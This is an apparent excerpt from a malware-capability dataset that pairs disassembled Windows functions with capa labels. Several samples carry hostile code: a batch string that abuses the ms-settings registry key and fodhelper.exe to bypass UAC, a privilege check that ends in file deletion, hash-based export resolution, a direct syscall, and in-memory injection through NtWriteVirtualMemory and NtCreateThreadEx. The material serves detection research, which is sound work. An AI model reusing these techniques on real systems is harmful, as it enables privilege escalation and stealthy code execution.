joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140014e70
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400328a0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140014ec7
cmp word [rdx], r13w
jne 0x140014ec7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140014ecc
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140014ff1
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140015012
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140014f05
mov rdx, r9
mov word [rbx], cx
jmp 0x140014f2c
cmp r9, r8
jae 0x140014f3c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140014ee6
jmp 0x140014ff1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140014fe6
cmp dword [rsp + 0x80], esi
je 0x140014fe6
lea r8, [0x1400328a0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140014fbe
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140014f8e
mov word [rbx], r13w
jmp 0x140014fee
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140014f9b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140014fee
cmp word [rsp + 0x70], r13w
jne 0x140014fcb
cmp rbx, r14
je 0x140014f88
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140015ad8
cmp word [rsp + 0x70], r13w
je 0x140014ff1
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400328a0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140014feb
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140014ff1
Function at 0x140019588
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400195b8
xor eax, eax
jmp 0x14001967b
mov rbp, rbx
cmp word [rax], si
je 0x1400195dd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400195c4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400195c0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140017b88
movsxd r14, eax
test eax, eax
jne 0x14001961b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400195b1
mov rcx, r14
call fcn.140015d3c
mov rdi, rax
test rax, rax
jne 0x140019634
xor ecx, ecx
call fcn.14001204c
jmp 0x140019610
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140017b88
test eax, eax
jne 0x140019665
mov rcx, rdi
call fcn.14001204c
jmp 0x14001966f
xor ecx, ecx
call fcn.14001204c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14001c344
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140012400
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14001c3e5
cmp ebx, dword [rsp + 0x30]
je 0x14001c3de
test esi, esi
je 0x14001c3de
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14001c3b9
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14001c3c6
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14001c3a3
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14001c3ca
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14001c3e7
mov eax, 1
jmp 0x14001c3e7
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001db34
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000e438
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001dbbe
cmp byte [rbp - 0x21], r15b
je 0x14001dbb9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14001dbf4
call fcn.140012a28
test eax, eax
jne 0x14001dbe0
cmp byte [rbp - 0x21], r15b
je 0x14001dbd8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14001dbf4
cmp byte [rbp - 0x21], r15b
je 0x14001dbf1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000e570
test eax, eax
jne 0x14001dc94
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000e438
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001dc33
cmp byte [rbp - 0x21], r15b
je 0x14001dc68
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14001dc68
call fcn.140012a28
test eax, eax
jne 0x14001dc54
cmp byte [rbp - 0x21], r15b
je 0x14001dc4d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14001dc68
cmp byte [rbp - 0x21], r15b
je 0x14001dc65
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000e570
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001dc94
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001dc97
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001dca5
mov rcx, rdi
call fcn.14001204c
cmp byte [rbp + 0x3f], r15b
je 0x14001dcb4
mov rcx, qword [rbp + 0x27]
call fcn.14001204c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x14001f420
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001f448
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001f448
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140002ae0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x40
xor r15d, r15d
lea r14, [rcx + 0x18]
cmp qword [r14], 0xf
mov rdi, rcx
mov dword [rsp + 0x60], r15d
jbe 0x140002b11
mov rcx, qword [rcx]
lea rsi, [rdi + 0x18]
jmp 0x140002b14
mov rsi, r14
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x140002b90
mov rdx, qword [r14]
cmp rdx, 0xf
jbe 0x140002b84
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140002b7c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002c78
mov rcx, r8
call fcn.14000523c
mov r14, rsi
mov qword [r14], 0xf
jmp 0x140002c5b
cmp rbp, 0xffffffffffffffff
jne 0x140002bde
mov rdx, qword [r14]
cmp rdx, 0xf
jbe 0x140002bd3
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140002bce
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002c78
mov rcx, r8
lea rsi, [rdi + 0x18]
call fcn.14000523c
mov qword [rsi], 0xf
xor al, al
jmp 0x140002c5d
lea r9, [rsp + 0x60]
mov qword [rsp + 0x68], rbx
mov r8d, 0x285
mov qword [rsp + 0x20], r15
lea rdx, str._echo_off_r_n_r_nREM_Create_registry_keys_r_nreg_add__HKCUSoftwareClassesms_settings_shellopencommand___v__DelegateExecute___t_REG_SZ__d_____f__nul_2_1_r_nreg_add__HKCUSoftwareClassesms_settings_shellopencommand___v_____t_REG_SZ__d__C:windowsSystem32cmd.exe__C__1___f__nul_2_1_r_n_r_nREM_Run_the_executable_with_elevated_privileges_r_nstart_____C:windows_system32_fodhelper.exe__r_n_r_nREM_Wait_for_a_second_r_ntimeout__t_1__nul_r_n_r_nREM_Delete_the_registry_keys_r_nreg_delete__HKCUSoftwareClassesms_settingsShellOpencommand___v_____f__nul_2_1_r_nreg_delete__HKCUSoftwareClassesms_settingsShellOpencommand___v__DelegateExecute___f__nul_2_1_r_n
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbp
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [r14]
test bl, bl
mov rbx, qword [rsp + 0x68]
je 0x140002b99
cmp rdx, 0xf
jbe 0x140002c54
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140002c4f
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002c78
mov rcx, r8
lea rsi, [rdi + 0x18]
call fcn.14000523c
mov qword [rsi], 0xf
mov al, 1
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov byte [rdi], r15b
mov qword [rdi + 0x10], r15
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140002c80
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x40
xor r15d, r15d
lea r14, [rcx + 0x18]
cmp qword [r14], 0xf
mov rdi, rcx
mov dword [rsp + 0x60], r15d
jbe 0x140002cb1
mov rcx, qword [rcx]
lea rsi, [rdi + 0x18]
jmp 0x140002cb4
mov rsi, r14
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x140002d30
mov rdx, qword [r14]
cmp rdx, 0xf
jbe 0x140002d24
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140002d1c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002e18
mov rcx, r8
call fcn.14000523c
mov r14, rsi
mov qword [r14], 0xf
jmp 0x140002dfb
cmp rbp, 0xffffffffffffffff
jne 0x140002d7e
mov rdx, qword [r14]
cmp rdx, 0xf
jbe 0x140002d73
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140002d6e
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002e18
mov rcx, r8
lea rsi, [rdi + 0x18]
call fcn.14000523c
mov qword [rsi], 0xf
xor al, al
jmp 0x140002dfd
lea r9, [rsp + 0x60]
mov qword [rsp + 0x68], rbx
mov r8d, 2
mov qword [rsp + 0x20], r15
lea rdx, [0x1400077a0]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbp
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [r14]
test bl, bl
mov rbx, qword [rsp + 0x68]
je 0x140002d39
cmp rdx, 0xf
jbe 0x140002df4
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140002def
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002e18
mov rcx, r8
lea rsi, [rdi + 0x18]
call fcn.14000523c
mov qword [rsi], 0xf
mov al, 1
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov byte [rdi], r15b
mov qword [rdi + 0x10], r15
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400032f0
Capabilities:
Execute command
Self delete

Disassembly:
sub rsp, 0x28
call fcn.1400030b0
test al, al
jne 0x140003302
call fcn.1400031d0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.hmm__are_we_system_yet__r_nWhoami:__r_n
call fcn.140001090
lea rcx, str.whoami
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__Q__F__C:WindowsSystem32DriversCheck.txt_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.pause__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x28
ret

Function at 0x14000484c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140004886
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14000488b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400048d4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140007470]
cmp byte [rcx + rax], 0
je 0x1400048d4
dec r8
sub rdx, 1
jne 0x1400048ba
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140004ec4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.1400048ec
mov ebx, eax
test eax, eax
jne 0x140004ef4
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x140004f57
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140004f4e
test al, 0x10
je 0x140004f4e
bt eax, 0xa
jae 0x140004f47
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.140004f68
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x140004f43
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x140004f43
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
test edi, edi
jne 0x140004f4e
and dword [rsp + 0x3c], 0
jmp 0x140004f53
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400058f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000593a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000593a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000593a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000593a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000593a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000593c
xor al, al
add rsp, 0x28
ret
Function at 0x1400113de
Capabilities:
Terminate process

Disassembly:
jmp 0x140019eb0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400114e7
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001b1f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001b210
xor al, al
jmp 0x14001b291
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001b223
xor al, al
jmp 0x14001b291
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001b24d
xor al, al
jmp 0x14001b291
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001b261
xor al, al
jmp 0x14001b291
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001b273
xor al, al
jmp 0x14001b291
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001b28f
xor al, al
jmp 0x14001b291
mov al, 1
add rsp, 0x38
ret
Function at 0x14000144c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0xa8
call fcn.1400013d0
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 0x3c]
add rax, qword [rsp + 0x28]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
add rax, 0x88
mov qword [rsp + 0x60], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x14]
mov dword [rsp + 0x54], eax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x30], 0
jmp 0x140001544
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x54]
cmp qword [rsp + 0x30], rax
jae 0x140001668
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x30]
cmp dword [rax + rcx*4], 0
jne 0x140001565
jmp 0x140001537
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x30]
mov eax, dword [rax + rcx*4]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x40], 0
jmp 0x140001592
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x58]
cmp qword [rsp + 0x40], rax
jae 0x140001663
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x40]
movzx eax, word [rax + rcx*2]
cmp rax, qword [rsp + 0x30]
jne 0x14000165e
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rax + rcx*4]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x48]
movsx eax, byte [rax]
test eax, eax
je 0x140001638
mov eax, dword [rsp + 0x20]
shl eax, 0x19
mov ecx, dword [rsp + 0x20]
shr ecx, 7
or eax, ecx
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x48]
movsx eax, byte [rax]
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
jmp 0x1400015f5
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0xb0], eax
jne 0x14000165e
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax + 4]
jmp 0x140001668
jmp 0x140001585
jmp 0x140001537
add rsp, 0xa8
ret

Function at 0x140001771
Capabilities:
Execute syscall

Disassembly:
mov rax, rcx
xor rcx, rcx
mov r10, rax
xor eax, eax
mov eax, dword [section..data]
syscall
ret
Function at 0x180018811
Capabilities:
Terminate process

Disassembly:
jmp 0x1800451c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x18001893d
Capabilities:
Get geographical location

Disassembly:
jmp 0x18003ef70
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov r9d, 2
lea r8, [rsp + 0x40]
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x18003efad
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.180018e1f
add rsp, 0x58
ret
Function at 0x1400783c0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140078408
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x1400783da
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400b2c90
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b6fc0]
jmp 0x14000c130

Function at 0x1400b2ca0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b6fc0]
jmp 0x14000c130

Function at 0x1400b3150
Capabilities:
Create thread
Inject thread

Disassembly:
push rdi
push rsi
push rbx
add rsp, 0xffffffffffffff80
lea rsi, [0x1400b6fe0]
call fcn.14000a610
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov rbx, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0x19600
call rbx
xor r8d, r8d
lea rdx, [rsp + 0x68]
lea r9, [rsp + 0x70]
mov dword [rsp + 0x28], 4
mov rcx, rax
mov dword [rsp + 0x20], 0x3000
call sub.ntdll.dll_NtAllocateVirtualMemory
call fcn.140015720
mov edx, dword [0x1400d05e0]
mov r9d, 0x10
mov rcx, rsi
lea r8, [0x1400d05f0]
call fcn.1400155f0
mov rdi, qword [rsp + 0x68]
call rbx
mov r9d, 0x19600
mov r8, rsi
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rdi
call sub.ntdll.dll_NtWriteVirtualMemory
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
lea r9, [rsp + 0x64]
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400b3298
call fcn.140015720
mov rsi, qword [rsp + 0x68]
call rbx
lea rcx, [rsp + 0x78]
xor r8d, r8d
mov edx, 0x1fffff
mov qword [rsp + 0x50], 0
mov r9, rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rsi
call sub.ntdll.dll_NtCreateThreadEx
call fcn.140015720
mov rcx, qword [rsp + 0x78]
xor r8d, r8d
xor edx, edx
call sub.ntdll.dll_NtWaitForSingleObject
